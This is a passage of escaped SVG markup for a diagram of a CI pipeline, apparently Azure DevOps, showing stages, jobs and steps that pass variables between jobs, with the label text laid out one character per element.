fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,544 L 592,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,320 L 32,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 56,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,368 L 56,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,96 L 80,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,176 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,416 L 80,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,480 L 80,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,144 L 192,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,208 L 192,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,96 L 296,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,176 L 296,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,448 L 312,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,48 L 320,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,48 L 360,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,96 L 384,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,176 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,144 L 464,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,416 L 544,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,480 L 544,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,96 L 552,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 568,368 L 568,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 576,48 L 576,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 576,208 L 576,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,0 L 592,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,320 L 592,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,184 L 608,200' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='200.000000,176.000000 188.000000,170.399994 188.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 192.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 192,304 L 192,312' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='208.000000,304.000000 196.000000,298.399994 196.000000,309.600006' fill='currentColor' transform='rotate(90.000000, 192.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,480.000000 308.000000,474.399994 308.000000,485.600006' fill='currentColor' transform='rotate(90.000000, 312.000000, 480.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='472.000000,176.000000 460.000000,170.399994 460.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 464.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='500' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='500' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='500' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003e#\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='500' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003e#\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='500' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='500' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='500' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='500' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='500' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003e;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='500' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='500' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='500' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='340' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='388' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='500' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='500' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='340' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='388' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='388' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='500' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='340' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='436' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='276' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='388' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='500' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='340' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='436' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='340' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='388' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='500' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='388' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='436' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='340' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='436' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='500' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='340' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='388' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='500' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='388' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='436' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='500' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='276' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='340' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='388' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='436' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='500' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='500' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='500' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='500' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='500' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='500' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='500' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='500' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='500' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='500' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='500' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='500' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='132' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='196' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='500' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' 